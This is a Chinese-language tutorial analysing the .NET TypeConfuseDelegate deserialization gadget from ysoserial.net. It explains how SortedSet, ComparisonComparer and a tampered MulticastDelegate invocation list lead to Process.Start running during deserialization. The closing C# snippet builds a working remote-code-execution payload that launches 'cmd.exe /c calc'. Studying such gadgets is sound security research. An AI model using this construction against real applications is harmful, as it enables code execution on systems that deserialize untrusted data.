# TypeConfuseDelegate gadget
从 `ysoserial.net` 可以学到非常多gadget的利用方法,从其中可以知道`TypeConfuseDelegat` 链主要使用 `SortedSet` 类来进行构造
`SortedSet` 这个类用来将其中的元素按照一定规则进行排序,排序的方法需要自己创建一个用来规定如何排序的类作为比较器,必须实现 `IComparer` 接口,这个接口只有一个方法 `Compare` ,简单用法如下所示

> 一个小细节
>

当前集合中的元素大于等于2,也就是调用第二次或者更多次 `Add` 方法的时候,将会调用 `Comparer` 中的 `Compare` 方法,并将两次传入的值作为参数传入
跟入 `SortedSet` 构造方法

如果传入了比较器,那么将这个比较器赋值给 `comparer` ,一个类型为 `IComparer<T>` 的变量
这里看到如果没有传入比较器,或者传入为null,那么会默认赋值一个 `Comparer<T>` ,跟入一下实现
```csharp
public abstract class Comparer<T> : IComparer, IComparer<T>
{
private static readonly Comparer<T> defaultComparer = CreateComparer();
public static Comparer<T> Default
{
get
{
return defaultComparer;
}
}
public static Comparer<T> Create(Comparison<T> comparison)
{
if (comparison == null)
{
throw new ArgumentNullException("comparison");
}
return new ComparisonComparer<T>(comparison);
}
private static Comparer<T> CreateComparer()
{
// ...
}
public abstract int Compare(T x, T y);
int IComparer.Compare(object x, object y)
{
// ....
}
}
```
其实完全不用关注别的方法,只需要关注到其中有一个公开的 `Create` 方法,如果传入的 `Comparison<T>` 不为null的话,就会作为参数传入 `ComparisonComparer<T>` 中
首先 `Comparison<T>` 本身是一个签名和 `Compare` 完全一致的委托

接下来关注一下 `ComparisonComparer<T>` 是什么

可以发现这是一个可以被序列化的类,并且因为继承了 `Comparer<T>` 所以这其实也是一个比较器
关注到这个类中重写的 `Compare` 函数,直接将传入的 `Comparison<T>` 进行了调用,这个类刚刚跟踪后可以知道,其实就是直接调用了一个委托。这里可以知道 `ComparisonComparer` 的关键所在
- 可以被序列化
- 比较函数可控
---
回过头来看到 `SortedSet<T>` 中,因为实现了 `IDeserializationCallback` 接口,所以关注到其关于完成反序列化时的通知方法
```csharp
void IDeserializationCallback.OnDeserialization(object sender)
{
OnDeserialization(sender);
}
protected virtual void OnDeserialization(object sender)
{
if (comparer != null)
{
return;
}
if (siInfo == null)
{
ThrowHelper.ThrowSerializationException(ExceptionResource.Serialization_InvalidOnDeser);
}
comparer = (IComparer<T>)siInfo.GetValue("Comparer", typeof(IComparer<T>));
int @int = siInfo.GetInt32("Count");
if (@int != 0)
{
T[] array = (T[])siInfo.GetValue("Items", typeof(T[]));
if (array == null)
{
ThrowHelper.ThrowSerializationException(ExceptionResource.Serialization_MissingValues);
}
for (int i = 0; i < array.Length; i++)
{
Add(array[i]);
}
}
version = siInfo.GetInt32("Version");
if (count != @int)
{
ThrowHelper.ThrowSerializationException(ExceptionResource.Serialization_MismatchedCount);
}
siInfo = null;
}
```
看到其中的逻辑,首先取出类型为 `IComparer<T>` 的值 `Comparer` 赋值到 `comparer`
接下来如果 `Count` 不等于0,则会进行遍历 `Items` ,并调用 `Add` 方法,回顾之前的分析,这里如果调用第二次及以上的 `Add` 方法则会在其中调用 `Compare` 函数进行排序处理
那么可以总结出,在比较函数可控的情况下,如果将其设置为 `Process.Start` ,接着将两次 `Add` 的值设置为执行命令的参数,那么就可以实现一次RCE
---
`SortedSet<T>` 中比较方法的签名为 `int Compare(T x, T y);`
在 `Process` 类中 `Start` 方法有非常多的重载,和其签名最为相似的重载为

但是这里存在一个问题,那就是这个方法的返回类型是 `Process` ,而不是签名中定义的 `int` ,如果直接将其作为 `comparer` 的话就会因为返回类型不一致直接报错
这个问题就需要多播委托来解决,也就是使用 `MulticastDelegate` 类
> 直接在程序中使用关键字 `delegate` 声明的委托,其实就是派生自 `MulticastDelegate`
>
>
> 
>
多播委托其实就是合并将多个委托进行合并,返回一个新的委托,跟到 `Delegate` 中的 `Combine` 方法中
[Delegate.Combine 方法 (System)](https://docs.microsoft.com/zh-cn/dotnet/api/system.delegate.combine?view=net-6.0)

因为委托都是派生自 `MulticastDelegate` 所以直接跟入该类的 `CombineImpl` 方法中,这个方法非常长,但是只需要关注其中一块,知道他返回了一个新的委托即可

这个类中有两个变量比较重要的变量

重点是 `_invocationList` ,这里面存的就是将要按照顺序执行的委托列表,虽然给出了公开的方法来进行合并委托,但遗憾的是合并委托仍然需要保证委托类型相同,并且 `_invocationList` 是一个私有变量无法直接对其进行赋值操作
但是仔细注意下 `_invocationList` ,会发现如果委托在合并的时候,会将其转换为 `object[]` 数组,没有任何类型限制,所以这里可以直接使用反射,手动修改掉实例中的 `_invocationList` ,在数组中push一个泛型委托 `Func<string, string, Process>(Process.Start)` ,那么因为传入了一个多播委托,将会在调用 `Compare` 进行比较排序时,按照顺序在之后调用到 `Process.Start` 造成命令注入,
```csharp
MulticastDelegate d1 = new Comparison<string>(String.Compare);
MulticastDelegate d2 = new Func<string, string, Process>(Process.Start);
Comparison<string> c = (Comparison<string>)MulticastDelegate.Combine(d1, d1);
IComparer<string> comparer = Comparer<string>.Create(c);
SortedSet<string> s = new SortedSet<string>(comparer);
s.Add("cmd.exe");
s.Add("/c calc");
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] dList = new object[d1.GetInvocationList().Length + 1];
d1.GetInvocationList().CopyTo(dList, 0);
dList[dList.Length - 1] = d2;
fi.SetValue(c, dList);
```

之后将构造好之后的 `SortedSet<string>` 进行序列化,得到序列化后的payload
如果对该payload直接进行反序列化,将会触发 `Process.Start` 并执行 `cmd.exe /c calc`
